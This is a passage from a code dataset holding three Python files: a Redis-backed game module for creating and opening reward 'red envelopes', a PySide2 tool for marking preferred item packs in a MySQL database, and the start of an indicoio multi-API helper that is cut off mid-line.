ftlog.debug('TYRedEnvelope.openRedEnvelope itemId:', _itemId)\n ftlog.debug('TYRedEnvelope.openRedEnvelope count:', prizes[prize] * value)\n\n contentItemList.append(\n TYContentItem.decodeFromDict({'itemId': _itemId, 'count': prizes[prize] * value}))\n\n if ftlog.is_debug():\n ftlog.debug('contentItemList:', contentItemList)\n\n userAssets = hallitem.itemSystem.loadUserAssets(userId)\n # 添加奖励\n results = userAssets.sendContentItemList(HALL_GAMEID, contentItemList, 1, True,\n pktimestamp.getCurrentTimestamp(), self.EVENTID, 0)\n # notify\n datachangenotify.sendDataChangeNotify(HALL_GAMEID, userId, TYAssetUtils.getChangeDataNames(results))\n # 构造奖励字符串\n prizeString = TYAssetUtils.buildContentsString(results)\n\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.openRedEnvelope prizeString:', prizeString)\n\n # add receiver\n re = {}\n re['userId'] = userId\n re['prize'] = prizes\n re['prizeStr'] = prizeString\n re['time'] = pktimestamp.formatTimeMs()\n\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.openRedEnvelope add receiver re: ', re)\n daobase.executeMixCmd('LPUSH', self.dbPrefix + self.id + self.RECEIVER, json.dumps(re))\n daobase.executeMixCmd('expire', self.dbPrefix + self.id + self.RECEIVER, self.expiredTime)\n\n # make response\n response = {}\n response['envelopeId'] = self.id\n response['prizes'] = prizes\n response['prizeStr'] = prizeString\n\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.openRedEnvelope response: ', response)\n\n return True, response\n else:\n if self.state != self.STATE_FINISH:\n self.state = self.STATE_FINISH\n self.save2DB()\n\n return False, _redEnvelopeConfig['tips']['finished']\n\n def _getPrize(self, itemId=\"\"):\n key = self.dbPrefix + self.id + self.PACKAGES\n if not itemId:\n prizesJson = daobase.executeMixCmd('LPOP', key)\n else:\n global get_content_by_item_sha\n if not get_content_by_item_sha:\n luaName = 'hall_red_envelope_get_content_by_item'\n get_content_by_item_sha = daobase.loadLuaScripts(luaName, get_content_by_item_script)\n prizesJson = daobase.executeMixCmd(\"EVALSHA\", get_content_by_item_sha, 1, key, itemId)\n return prizesJson\n\n def devidePackage(self):\n '''\n 将整体红包按照配置分成随机的份数\n '''\n global _redEnvelopeConfig\n\n # 划分红包\n prizePool = []\n for item in self.contents:\n for _ in range(1, item['count'] + 1):\n prizePool.append(item['itemId'])\n\n countTotal = len(prizePool)\n random.shuffle(prizePool)\n\n index = 0\n\n while index < countTotal:\n # 随机获得红包的个数\n count = random.randint(self.minCount, self.maxCount)\n if index + count >= countTotal:\n count = countTotal - index;\n if ftlog.is_debug():\n ftlog.debug('count:', count)\n\n prizes = {}\n for i in range(0, count):\n # 领取红包\n itemId = prizePool[index + i]\n if itemId in prizes:\n prizes[itemId] += 1\n else:\n prizes[itemId] = 1\n\n if ftlog.is_debug():\n ftlog.debug('prizes:', prizes)\n\n # 写数据库\n daobase.executeMixCmd('LPUSH', self.dbPrefix + self.id + self.PACKAGES, json.dumps(prizes))\n # 记录分包信息\n self.packages_his.append(prizes)\n\n index += count\n\n # 设置过期时间\n daobase.executeMixCmd('expire', self.dbPrefix + self.id + self.PACKAGES, self.expiredTime)\n\n # save result to log \n if ftlog.is_debug():\n checksJson = daobase.executeMixCmd('LRANGE', self.dbPrefix + self.id + self.PACKAGES, 0, -1)\n ftlog.debug('TYRedEnvelope.devidePackage packages: ', checksJson)\n\n def setState(self, state):\n '''\n 设置红包状态\n '''\n self.state = state\n self.save2DB()\n\n def save2DB(self):\n '''\n 存储到数据库\n '''\n # 保存基本信息\n config = {}\n config['minCount'] = self.minCount\n config['maxCount'] = self.maxCount\n # 设置配置\n daobase.executeMixCmd('HSET', self.dbPrefix + self.id, self.CONFIG, json.dumps(config))\n # 设置红包内容\n daobase.executeMixCmd('HSET', self.dbPrefix + self.id, self.CONTENTS, json.dumps(self.contents))\n # 设置红包历史\n daobase.executeMixCmd('HSET', self.dbPrefix + self.id, self.PACKAGES_HIS, json.dumps(self.packages_his))\n # 设置状态\n daobase.executeMixCmd('HSET', self.dbPrefix + self.id, self.STATE, self.state)\n daobase.executeMixCmd('expire', self.dbPrefix + self.id, self.expiredTime)\n\n def loadFromDB(self, envelopeId):\n '''\n 从数据库中读取红包\n @return: \n True 红包存在\n False 红包不存在\n '''\n global _redEnvelopeConfig\n\n self.buildEnvelope(envelopeId)\n\n # config\n configJson = daobase.executeMixCmd('HGET', self.dbPrefix + self.id, self.CONFIG)\n if configJson:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.loadFromDB configJson:', configJson)\n\n config = json.loads(configJson)\n self.minCount = config.get('minCount', 1)\n self.maxCount = config.get('maxCount', 3)\n\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.loadFromDB minCount: ', self.minCount, ' maxCount: ', self.maxCount)\n else:\n return False, _redEnvelopeConfig['tips']['load_config_err']\n\n # contents\n # redEnvelopeItem = {}\n # redEnvelopeItem['itemId'] = _itemId\n # redEnvelopeItem['assetsId'] = assetsId\n # redEnvelopeItem['value'] = value\n # redEnvelopeItem['count'] = count\n contentsJson = daobase.executeMixCmd('HGET', self.dbPrefix + self.id, self.CONTENTS)\n if contentsJson:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.loadFromDB contentsJson:', contentsJson)\n\n self.contents = json.loads(contentsJson)\n for item in self.contents:\n assetsId = item['assetsId']\n assetKind = hallitem.itemSystem.findAssetKind(assetsId)\n if assetKind:\n item['name'] = assetKind.displayName\n item['pic'] = assetKind.pic\n\n else:\n return False, _redEnvelopeConfig['tips']['load_contents_err']\n\n # package_his\n packagesJson = daobase.executeMixCmd('HGET', self.dbPrefix + self.id, self.PACKAGES_HIS)\n if packagesJson:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.loadFromDB packagesJson:', packagesJson)\n\n self.packages_his = json.loads(packagesJson)\n else:\n return False, _redEnvelopeConfig['tips']['load_packages_err']\n\n # state\n self.state = daobase.executeMixCmd('HGET', self.dbPrefix + self.id, self.STATE)\n if not self.state:\n self.state = self.STATE_CREATE\n\n return True, self\n\n def getAssetID(self, itemId):\n for item in self.contents:\n if item['itemId'] == itemId:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.getAssetID itemId:', itemId)\n ftlog.debug('TYRedEnvelope.getAssetID assetsId:', item['assetsId'])\n return True, item['assetsId']\n\n return False, 'user:none'\n\n def getItemValue(self, itemId):\n for item in self.contents:\n if item['itemId'] == itemId:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.getItemValue itemId:', itemId)\n ftlog.debug('TYRedEnvelope.getItemValue assetsId:', item['assetsId'])\n return True, item['value']\n\n return False, 0\n\n\nclass TYRedEnvelopeID(object):\n '''\n 红包ID定义\n 总共21位\n version 2位\n ntype 2位\n gameId 3位\n timeStr 6位\n userId 6位\n count 2位\n idExtendInfo 6位 扩展信息\n '''\n\n def __init__(self):\n self.initialize()\n\n @classmethod\n def initialize(cls):\n return True\n\n @classmethod\n def buildID(cls, version, ntype, gameId, count, userId, idExtendInfo):\n '''\n 生成红包ID\n 1)校验自推广红包,每人一个\n 2)其他类型红包暂时不校验\n '''\n global _redEnvelopeConfig\n\n # 取消推广红包每人一个的限制\n # if ntype == TYRedEnvelopeMgr.RED_ENVELOPE_PROMOTE:\n # # 推广红包\n # # pkgamedata.setGameAttr(userId, 9999, _buildModuleTipKey(tipModule, gameId, userId), count)\n # promoteEnvelopeID = pkgamedata.getGameAttr(userId, HALL_GAMEID, 'promote_red_envelope')\n # if promoteEnvelopeID:\n # return False, _redEnvelopeConfig['tips']['promote_already_have'];\n\n otime = pktimestamp.getCurrentTimestamp()\n return True, '%s%s%s%s%s%s%s' % (version\n , strutil.tostr62(ntype, 2)\n , strutil.tostr62(gameId, 3)\n , strutil.tostr62(otime, 6)\n , strutil.tostr62(userId, 6)\n , strutil.tostr62(int(count % 1000), 2)\n , strutil.tostr62(idExtendInfo, 6)\n )\n\n @classmethod\n def isExpired(cls, _id):\n '''\n 查询红包是否过期\n '''\n global _redEnvelopeConfig\n\n otime = strutil.toint10(_id[7:13])\n\n return otime + _redEnvelopeConfig['config']['expiredTime'] < pktimestamp.getCurrentTimestamp()\n\n @classmethod\n def parseID(cls, _id):\n idExtendInfo = strutil.toint10(_id[21:27])\n count = strutil.toint10(_id[19:21])\n userId = strutil.toint10(_id[13:19])\n otime = strutil.toint10(_id[7:13])\n timeStr = pktimestamp.timestamp2timeStr(otime)\n gameId = strutil.toint10(_id[4:7])\n nType = strutil.toint10(_id[2:4])\n version = _id[0:2]\n\n idStr = 'Version-%s Type-%d GameId-%d Time-%s UserId-%d Count-%d RoomId-%d ExtendInfo-%d' % (version\n , nType\n , gameId\n , timeStr\n , userId\n , count\n ,\n idExtendInfo / 100\n ,\n idExtendInfo % 100\n )\n if ftlog.is_debug():\n ftlog.debug(idStr)\n\n info = {}\n info['userId'] = userId\n info['gameId'] = gameId\n info['reason'] = nType\n info['version'] = version\n info['time'] = timeStr\n info['count'] = count\n info['roomId'] = idExtendInfo / 100\n info['extendInfo'] = idExtendInfo % 100\n info['timestamp'] = otime\n\n return info\n\n\nclass TYRedEnvelopeMgr(object):\n '''\n 红包管理器\n 1)生成红包\n 2)生成红包内容\n 3)查询红包\n 4)领取红包\n '''\n # 红包支持的配置类型\n # 道具直接传道具ID\n RED_ENVELOPO_CHIP = 'chip'\n RED_ENVELOPO_COUPON = 'coupon'\n RED_ENVELOPO_DIAMOND = 'diamond'\n RED_ENVELOPO_CHARM = 'charm'\n RED_ENVELOPO_EXP = 'exp'\n\n # 红包类型\n # 比赛奖励红包\n RED_ENVELOPE_MATCH = 1\n # 现金桌奖励红包\n RED_ENVELOPE_TABLE = 2\n # 自推广红包\n RED_ENVELOPE_PROMOTE = 3\n # GDSS生成的红包\n RED_ENVELOPE_GDSS = 4\n # 充值返利\n RED_ENVELOPE_CHARGE = 5\n # 注册红包(注册后第一天)\n RED_ENVELOPE_REGISTER = 6\n # 登录红包(注册之后第二天起)\n RED_ENVELOPE_LOGIN = 7\n\n # 版本号\n RED_ENVELOPE_VERSION = 'R1'\n\n # 红包ID存储键值\n RED_ENVELOPE_DBKEY = 'hall_red_envelope_count'\n\n # 配置类型与用户数据的对应关系\n _rewardMap = {\n RED_ENVELOPO_CHIP: 'user:chip',\n RED_ENVELOPO_COUPON: 'user:coupon',\n RED_ENVELOPO_DIAMOND: 'user:diamond',\n RED_ENVELOPO_CHARM: 'user:charm',\n RED_ENVELOPO_EXP: 'user:exp',\n }\n\n # CMD 生成红包\n HALL_RED_ENVELOPE_CREATE = 'hall_red_envelope_create'\n # CMD 打开红包\n HALL_RED_ENVELOPE_OPEN = 'hall_red_envelope_open'\n # CMD 查询红包\n HALL_RED_ENVELOPE_QUERY = 'hall_red_envelope_query'\n # CMD 查询红包\n HALL_RED_ENVELOPE_QUERY_ID = 'hall_red_envelope_query_id'\n\n def __init__(self):\n self.initialize()\n\n @classmethod\n def initialize(cls):\n return True\n\n @classmethod\n def makeRightResponse(cls, cmd, result):\n '''\n 正确应答\n {\"cmd\": HALL_RED_ENVELOPE_OPEN, \"result\": {}}\n '''\n response = {}\n response['cmd'] = cmd\n response['result'] = result\n return response\n\n @classmethod\n def makeWrongResponse(cls, cmd, error):\n '''\n 错误应答\n {\"cmd\": HALL_RED_ENVELOPE_OPEN, \"error\": {\"code\": 1, \"info\": \"....\"}}\n '''\n response = {}\n response['cmd'] = cmd\n response['error'] = error\n return response\n\n @classmethod\n def getAssetsId(cls, itemId):\n assetsId = itemId\n if itemId in cls._rewardMap:\n assetsId = cls._rewardMap[itemId];\n else:\n assetsId = 'item:' + itemId\n\n if ftlog.is_debug():\n ftlog.debug('itemId:' + itemId + ' convert to assetsID:' + assetsId)\n\n return assetsId\n\n @classmethod\n def getAdjustItemId(cls, _itemId):\n global _redEnvelopeLimitsMap\n\n itemId = _itemId\n if itemId not in _redEnvelopeLimitsMap:\n itemId = 'item'\n return itemId\n\n @classmethod\n def getMinValue(cls, _itemId):\n '''\n 获取最小值\n '''\n global _redEnvelopeLimitsMap\n\n itemId = cls.getAdjustItemId(_itemId)\n return _redEnvelopeLimitsMap[itemId].minValue\n\n @classmethod\n def getMaxValue(cls, _itemId):\n '''\n 获取最大值\n '''\n global _redEnvelopeLimitsMap\n\n itemId = cls.getAdjustItemId(_itemId)\n return _redEnvelopeLimitsMap[itemId].maxValue\n\n @classmethod\n def getMinCount(cls, _itemId):\n '''\n 获取最小数量\n '''\n global _redEnvelopeLimitsMap\n\n itemId = cls.getAdjustItemId(_itemId)\n return _redEnvelopeLimitsMap[itemId].minCount\n\n @classmethod\n def getMaxCount(cls, _itemId):\n '''\n 获取最大数量\n '''\n global _redEnvelopeLimitsMap\n\n itemId = cls.getAdjustItemId(_itemId)\n return _redEnvelopeLimitsMap[itemId].maxCount\n\n @classmethod\n def buildItem(cls, _itemId, value, count):\n '''\n 生成红包内容\n '''\n global _redEnvelopeLimitsMap\n global _redEnvelopeConfig\n\n if ftlog.is_debug():\n ftlog.debug('itemId:', _itemId, 'value:', value, 'count:', count)\n\n itemId = cls.getAdjustItemId(_itemId)\n\n if itemId not in _redEnvelopeLimitsMap:\n if ftlog.is_debug():\n ftlog.debug('itemId: ', itemId, '_redEnvelopeLimitsMap: ', _redEnvelopeLimitsMap)\n return False, _redEnvelopeConfig['tips']['not_support']\n\n # 强校验数值\n if value < _redEnvelopeLimitsMap[itemId].minValue or value > _redEnvelopeLimitsMap[itemId].maxValue:\n return None, _redEnvelopeConfig['tips']['value_out']\n\n # 强校验数量\n if count < _redEnvelopeLimitsMap[itemId].minCount or count > _redEnvelopeLimitsMap[itemId].maxCount:\n return None, _redEnvelopeConfig['tips']['count_out']\n\n assetsId = cls.getAssetsId(_itemId)\n if ftlog.is_debug():\n ftlog.debug('request TYRedEnvelopeItem itmeId:', _itemId\n , 'assetsId:', assetsId\n , 'value:', value\n , 'count:', count\n )\n\n redEnvelopeItem = {}\n redEnvelopeItem['itemId'] = _itemId\n redEnvelopeItem['assetsId'] = assetsId\n redEnvelopeItem['value'] = value\n redEnvelopeItem['count'] = count\n\n return redEnvelopeItem, _redEnvelopeConfig['tips']['item_ok']\n\n @classmethod\n def createItem(cls, itemId, assetsId, value, count):\n item = {}\n\n return item\n\n @classmethod\n def buildCount(cls):\n count = daobase.executeMixCmd('incrby', cls.RED_ENVELOPE_DBKEY, 1)\n if ftlog.is_debug():\n ftlog.debug('count:', count)\n return count\n\n @classmethod\n def buildEnvelope(cls, nType, userId, gameId, contents, config, roomId=0, extendInfo=0):\n '''\n contents 红包内容:\n [\n {\n \"itemId\": \"chip\",\n \"value\": 2000,\n \"count\": 10\n },\n {\n \"itemId\": \"1012\",\n \"value\": 1,\n \"count\": 10\n }\n ]\n \n config 红包配置,用户可以从红包中领取的内容数量:\n {\n \"minCount\": 1,\n \"maxCount\": 2\n }\n \n roomId\n 申请红包时的比赛ID/房间ID\n \n extendInfo 红包ID的扩展信息\n 一般为房间ID/比赛ID + 2位扩展码\n 扩展码可用于区分同一情景下发出的不同面额的红包\n '''\n global _redEnvelopeConfig\n\n # todo,当时推广红包时,推广红包每人一个,如果创建过,会失败\n envelopeId = None\n idExtendInfo = roomId * 100 + extendInfo\n result, info = TYRedEnvelopeID.buildID(cls.RED_ENVELOPE_VERSION, nType, gameId, cls.buildCount(), userId,\n idExtendInfo)\n if result:\n envelopeId = info\n else:\n error = info\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelopeMgr.buildEnvelope failed, error: ', error)\n return cls.makeWrongResponse(cls.HALL_RED_ENVELOPE_CREATE, error)\n\n if ftlog.is_debug:\n ftlog.debug('envelopeId:', envelopeId)\n\n envelope = TYRedEnvelope().buildEnvelope(envelopeId)\n for content in contents:\n if ftlog.is_debug():\n ftlog.debug('content:', content);\n\n item, error = cls.buildItem(content['itemId'], content['value'], content['count'])\n if item:\n envelope.addEnvelopeItem(item)\n else:\n ftlog.error(error)\n return cls.makeWrongResponse(cls.HALL_RED_ENVELOPE_CREATE, error)\n\n if config == None:\n config = _redEnvelopeConfig['config']\n\n envelope.setReceiveParams(config['minCount'], config['maxCount'])\n envelope.devidePackage()\n # 保存红包\n envelope.save2DB()\n\n response = {}\n response['envelopeId'] = envelopeId\n\n # 每天生成的红包ID存在一个REDIS键值下面\n dayKey = envelope.getPrefix() + pktimestamp.formatTimeDay()\n if ftlog.is_debug():\n ftlog.debug('buildEnvelope save redEnvelopeID to list: ', dayKey)\n\n daobase.executeMixCmd('LPUSH', dayKey, envelopeId)\n\n # 返回结果\n return cls.makeRightResponse(cls.HALL_RED_ENVELOPE_CREATE, response)\n\n @classmethod\n def changeRedEnvelopeState(cls, envelopeId, state):\n '''\n 修改红包状态\n '''\n isExist, info = TYRedEnvelope().loadFromDB(envelopeId)\n if isExist:\n envelope = info\n envelope.setState(state)\n envelope.save2DB()\n\n @classmethod\n def queryEnvelope(cls, envelopeId):\n '''\n 查询红包\n '''\n global _redEnvelopeConfig\n\n isExist, info = TYRedEnvelope().loadFromDB(envelopeId)\n if isExist:\n envelope = info\n query = envelope.queryEnvelope()\n return cls.makeRightResponse(cls.HALL_RED_ENVELOPE_QUERY, query)\n else:\n error = info\n return cls.makeWrongResponse(cls.HALL_RED_ENVELOPE_QUERY, error)\n\n @classmethod\n def queryEnvelopeID(cls, envelopeId):\n '''\n 查询红包ID\n '''\n idInfo = TYRedEnvelopeID.parseID(envelopeId)\n if ftlog.is_debug():\n ftlog.debug('envelopeId info:', idInfo)\n\n return cls.makeRightResponse(cls.HALL_RED_ENVELOPE_QUERY_ID, idInfo)\n\n @classmethod\n def openRedEnvelope(cls, envelopeId, userId, itemId=''):\n '''\n 打开红包\n @param itemId: 优先获取指定类型的内容\n @return: \n 1) OK\n 2) 领过了\n 3) 领光了\n 4) 过期了\n '''\n global _redEnvelopeConfig\n\n if TYRedEnvelopeID.isExpired(envelopeId):\n return cls.makeWrongResponse(cls.HALL_RED_ENVELOPE_OPEN, _redEnvelopeConfig['tips']['expired'])\n\n isExist, info = TYRedEnvelope().loadFromDB(envelopeId)\n if isExist:\n envelope = info\n result, response = envelope.openRedEnvelope(userId, itemId)\n if result:\n # 如果是推广红包,建立上下线关系\n inInfo = TYRedEnvelopeID.parseID(envelopeId)\n if inInfo['reason'] == cls.RED_ENVELOPE_PROMOTE:\n # 上线 inInfo['userId']\n topUserId = inInfo['userId']\n # 下线 userId\n if ftlog.is_debug():\n ftlog.debug('openRedEnvelope.promoteEnvelope, inviter:', topUserId, ' and invitee:', userId)\n\n from hall.servers.util.rpc import neituiguang_remote\n neituiguang_remote.set_inviter(userId, topUserId)\n\n return cls.makeRightResponse(cls.HALL_RED_ENVELOPE_OPEN, response)\n else:\n return cls.makeWrongResponse(cls.HALL_RED_ENVELOPE_OPEN, response)\n else:\n error = info\n return cls.makeWrongResponse(cls.HALL_RED_ENVELOPE_OPEN, error)\n\n @classmethod\n def buildShareTask(cls, envelopeId, userId, gameId, url=None, title=None, desc=None, tips=None, shareIcon=None):\n isExist, info = TYRedEnvelope().loadFromDB(envelopeId)\n if isExist:\n envelope = info\n return envelope.buildShareTask(userId, gameId, url, title, desc, tips, shareIcon)\n else:\n return None\n\n\nclass TYRedEnvelopeLimit(object):\n def __init__(self):\n self.itemId = None\n self.minValue = None\n self.maxValue = None\n self.minCount = None\n self.maxCount = None\n\n def decodeFromDict(self, d):\n # itemId\n self.itemId = d.get('itemId')\n if not isstring(self.itemId):\n raise TYBizConfException(d, 'TYRedEnvelopeLimit.itemId must be string')\n\n # minValue\n self.minValue = d.get('minValue', 1)\n if not isinstance(self.minValue, int):\n raise TYBizConfException(d, 'TYRedEnvelopeLimit.minValue must be int')\n\n # maxValue\n self.maxValue = d.get('maxValue', 1)\n if not isinstance(self.maxValue, int):\n raise TYBizConfException(d, 'TYRedEnvelopeLimit.maxValue must be int')\n\n if self.minValue > self.maxValue:\n raise TYBizConfException(d, 'TYRedEnvelopeLimit minValue > maxValue !!!')\n\n self.minCount = d.get('minCount', 1)\n if not isinstance(self.minCount, int):\n raise TYBizConfException(d, 'TYRedEnvelopeLimit.minCount must be int')\n\n self.maxCount = d.get('maxCount', 1)\n if not isinstance(self.maxCount, int):\n raise TYBizConfException(d, 'TYRedEnvelopeLimit.maxCount must be int')\n\n return self\n\n\n_redEnvelopeConfig = {}\n_redEnvelopeLimitsMap = {}\n_inited = False\n\n\ndef _reloadConf():\n global _redEnvelopeConfig\n global _redEnvelopeLimitsMap\n\n conf = hallconf.getRedEnvelope()\n _redEnvelopeConfig = conf\n\n limitMap = {}\n for limitDict in conf.get('limits', []):\n limit = TYRedEnvelopeLimit().decodeFromDict(limitDict)\n if limit.itemId in limitMap:\n raise TYBizConfException(limitDict, 'Duplicate limit for %s' % (limit.itemId))\n limitMap[limit.itemId] = limit\n _redEnvelopeLimitsMap = limitMap\n\n if ftlog.is_debug():\n ftlog.debug('hall_red_envelope._reloadConf successed! limits=', _redEnvelopeLimitsMap\n , ' conf=', _redEnvelopeConfig)\n\n\ndef _onConfChanged(event):\n if _inited and event.isModuleChanged('red_envelope'):\n ftlog.debug('hall_red_envelope._onConfChanged')\n _reloadConf()\n\n\ndef _initialize():\n ftlog.debug('hall_red_envelope._initialize begin')\n global vipSystem\n global userVipSystem\n global _inited\n if not _inited:\n _inited = True\n _reloadConf()\n pkeventbus.globalEventBus.subscribe(EventConfigure, _onConfChanged)\n ftlog.debug('hall_red_envelope._initialize end')\n","sub_path":"source/hall/src/hall/entity/hall_red_envelope/hall_red_envelope.py","file_name":"hall_red_envelope.py","file_ext":"py","file_size_in_byte":34731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"124801647","text":"from isis.main_window import Main_Window\nfrom isis.widget import Widget\nfrom isis.data_model.table import Table\nfrom isis.table_view import Table_View\nfrom isis.h_box_layout import H_Box_Layout\nfrom katherine import d6_config, pymysql\nfrom dict import List as list\nfrom itzamara import key_to_sort_item\nfrom utils import find_one\nfrom PySide2.QtCore import Qt\nfrom isis.menu import Menu\nfrom isis.event import Event\n\n\nclass Items_Model(Table):\n def __init__(self):\n Table.__init__(self)\n self.columns.add('sku', str)\n self.columns.add('description', str)\n self.readonly = True\n\n\nclass TV_Items_Prefered(Table_View):\n def __init__(self, *args, **kwargs):\n Table_View.__init__(self, *args, **kwargs)\n self.unprefered = Event()\n\n def mouseDoubleClickEvent(self, event):\n index = self.indexAt(event.pos())\n if index.isValid():\n self.unprefered(index.row())\n Table_View.mouseDoubleClickEvent(self, event)\n\n def mousePressEvent(self, event):\n if event.button() == Qt.RightButton:\n index = self.indexAt(event.pos())\n if index.isValid():\n menu = Menu(self)\n menu.addAction('unset prefered')\n\n menu.triggered.connect(lambda: self.unprefered(index.row()))\n menu.popup(event.globalPos())\n Table_View.mousePressEvent(self, event)\n\n\nclass TV_Items_With_No_Prefered(Table_View):\n def __init__(self, *args, **kwargs):\n Table_View.__init__(self, *args, **kwargs)\n self.set_prefered = Event()\n\n def mouseDoubleClickEvent(self, event):\n index = self.indexAt(event.pos())\n if index.isValid():\n self.set_prefered(index.row())\n Table_View.mouseDoubleClickEvent(self, event)\n\n def mousePressEvent(self, event):\n if event.button() == Qt.RightButton:\n index = self.indexAt(event.pos())\n if index.isValid():\n menu = Menu(self)\n menu.addAction('set prefered')\n\n menu.triggered.connect(lambda: self.set_prefered(index.row()))\n menu.popup(event.globalPos())\n Table_View.mousePressEvent(self, event)\n\n\nclass Items_Pack_Prefered(Main_Window):\n def __init__(self):\n Main_Window.__init__(self)\n self.resize(1200, 800)\n self.setWindowTitle('Items Pack Prefered')\n self.cwidget = Widget(self)\n\n self.tvitemsprefered = TV_Items_Prefered(self.cwidget)\n self.tvitemswithnoprefered = TV_Items_With_No_Prefered(self.cwidget)\n\n self.itemsprefered = Items_Model()\n self.itemswithnoprefered = Items_Model()\n\n main_layout = H_Box_Layout()\n main_layout.addWidget(self.tvitemsprefered)\n main_layout.addWidget(self.tvitemswithnoprefered)\n self.cwidget.layout = main_layout\n\n self.tvitemsprefered.model = self.itemsprefered\n self.tvitemswithnoprefered.model = self.itemswithnoprefered\n\n d6 = pymysql.connect(**d6_config)\n d6_cursor = d6.cursor(pymysql.cursors.SSDictCursor)\n d6_cursor.execute('select sku, description from itzamara.item '\n 'where sku in (select item_pack_id from itzamara.item_pack) '\n 'or sku in (select item_factor_id from itzamara.item_pack)')\n self.items = list([item for item in d6_cursor])\n self.items.sort(key=key_to_sort_item)\n d6_cursor.close()\n d6_cursor = d6.cursor(pymysql.cursors.SSCursor)\n d6_cursor.execute('select item_pack_id, item_factor_id from itzamara.item_pack;')\n self.relateds = list()\n for pack_sku, item_sku in d6_cursor:\n pack = find_one(lambda x: x.sku == pack_sku, self.items)\n item = find_one(lambda x: x.sku == item_sku, self.items)\n\n if 'related' in pack and 'related' not in item:\n pack.related.append(item)\n item.related = pack.related\n elif 'related' in item and 'related' not in pack:\n item.related.append(pack)\n pack.related = item.related\n elif 'related' in pack and 'related' in item:\n related = pack.related\n for r in item.related:\n if r.sku not in [i.sku for i in related]:\n related.append(r)\n r.related = related\n else:\n related = list([pack, item])\n pack.related = related\n item.related = related\n self.relateds.append(related)\n\n d6_cursor.execute('select sku from itzamara.item_prefered;')\n prefered = list([sku for sku, in d6_cursor])\n itemsprefered = list()\n for p in prefered:\n i = find_one(lambda x: x.sku == p, self.items)\n itemsprefered.append(i)\n itemsprefered.sort(key=key_to_sort_item)\n self.itemsprefered.datasource = itemsprefered\n itemswithnoprefered = list()\n for item in self.items:\n if item.sku not in prefered:\n if 'related' in item:\n for sku in [i.sku for i in item.related]:\n if sku in prefered:\n break\n else:\n itemswithnoprefered.append(item)\n else:\n itemswithnoprefered.append(item)\n itemswithnoprefered.sort(key=key_to_sort_item)\n self.itemswithnoprefered.datasource = itemswithnoprefered\n d6_cursor.close()\n d6.close()\n\n self.tvitemsprefered.unprefered.suscribe(self.handle_tv_prefered_unset_prefered)\n self.tvitemswithnoprefered.set_prefered.suscribe(self.handle_tv_no_prefered_set_prefered)\n # pprint(find_one(lambda x: x.sku == '4345', self.items).related)\n\n def handle_tv_prefered_unset_prefered(self, index):\n item = self.itemsprefered.datasource[index]\n self.itemsprefered.remove_row(item)\n if 'related' in item:\n for r in item.related:\n self.itemswithnoprefered.add_row(r)\n d6 = pymysql.connect(**d6_config)\n cursor = d6.cursor()\n r = cursor.execute('delete from itzamara.item_prefered where sku = %s;', (item.sku, ))\n cursor.close()\n d6.close()\n\n def handle_tv_no_prefered_set_prefered(self, index):\n item = self.itemswithnoprefered.datasource[index]\n if item not in self.itemsprefered.datasource:\n self.itemsprefered.add_row(item)\n\n if 'related' in item:\n for r in item.related:\n if r in self.itemswithnoprefered.datasource:\n self.itemswithnoprefered.remove_row(r)\n else:\n if item in self.itemswithnoprefered.datasource:\n self.itemswithnoprefered.remove_data(item)\n d6 = pymysql.connect(**d6_config)\n cursor = d6.cursor()\n r = cursor.execute('insert ignore itzamara.item_prefered values (%s, %s);', (item.sku, item.description))\n cursor.close()\n d6.close()\n\n\nif __name__ == '__main__':\n from isis.application import Application\n import sys\n app = Application(sys.argv)\n mw = Items_Pack_Prefered()\n mw.show()\n sys.exit(app.exec_())\n","sub_path":"isis/itzamara/items_pack_prefered.py","file_name":"items_pack_prefered.py","file_ext":"py","file_size_in_byte":7260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"600972644","text":"from indicoio.config import TEXT_APIS, IMAGE_APIS, API_NAMES, MULTIAPI_NOT_SUPPORTED\nfrom indicoio.utils.api import api_handler\nfrom indicoio.utils.image import image_preprocess\nfrom indicoio.utils.errors import IndicoError\nfrom indicoio.utils.decorators import detect_batch_decorator\n\n\nCLIENT_SERVER_MAP = dict((api, api.strip().replace(\"_\", \"\").lower()) for api in API_NAMES)\nSERVER_CLIENT_MAP = dict((v, k) for k, v in CLIENT_SERVER_MAP.items())\nAVAILABLE_APIS = {\n 'text': TEXT_APIS,\n 'image': IMAGE_APIS\n}\n\ndef invert_dictionary(d):\n return {\n element: key for key, values in d.items()\n for element in values\n }\n\nAPI_TYPES = invert_dictionary(AVAILABLE_APIS)\n\n\n@detect_batch_decorator\ndef intersections(data, apis = None, **kwargs):\n \"\"\"\n Helper to make multi requests of different types.\n\n :param data: Data to be sent in API request\n :param type: String type of API request\n :rtype: Dictionary of api responses\n \"\"\"\n # Client side api name checking\n for api in apis:\n assert api not in MULTIAPI_NOT_SUPPORTED\n\n # remove auto-inserted batch param\n kwargs.pop('batch', None)\n\n if not isinstance(apis, list) or len(apis) != 2:\n raise IndicoError(\"Argument 'apis' must be of length 2\")\n if isinstance(data, list) and len(data) < 3:\n raise IndicoError(\n \"At least 3 examples are required to use the intersections API\"\n )\n\n api_types = list(map(API_TYPES.get, apis))\n if api_types[0] != api_types[1]:\n raise IndicoError(\n \"Both `apis` must accept the same kind of input to use the intersections API\"\n )\n\n cloud = kwargs.pop(\"cloud\", None)\n\n url_params = {\n 'batch': False,\n 'api_key': kwargs.pop('api_key', None),\n 'apis': apis\n }\n\n return api_handler(data, cloud=cloud, api=\"apis/intersections\", url_params=url_params, **kwargs)\n\n\ndef multi(data, datatype, apis, batch=False, **kwargs):\n \"\"\"\n Helper to make multi requests of different types.\n\n :param data: Data to be sent in API request\n :param datatype: String type of API request\n :param apis: List of apis to use.\n :param batch: Is this a batch request?\n :rtype: Dictionary of api responses\n \"\"\"\n # Client side api name checking - strictly only accept func name api\n available = list(set(AVAILABLE_APIS.get(datatype)) - set(MULTIAPI_NOT_SUPPORTED))\n invalid_apis = [api for api in apis if api not in 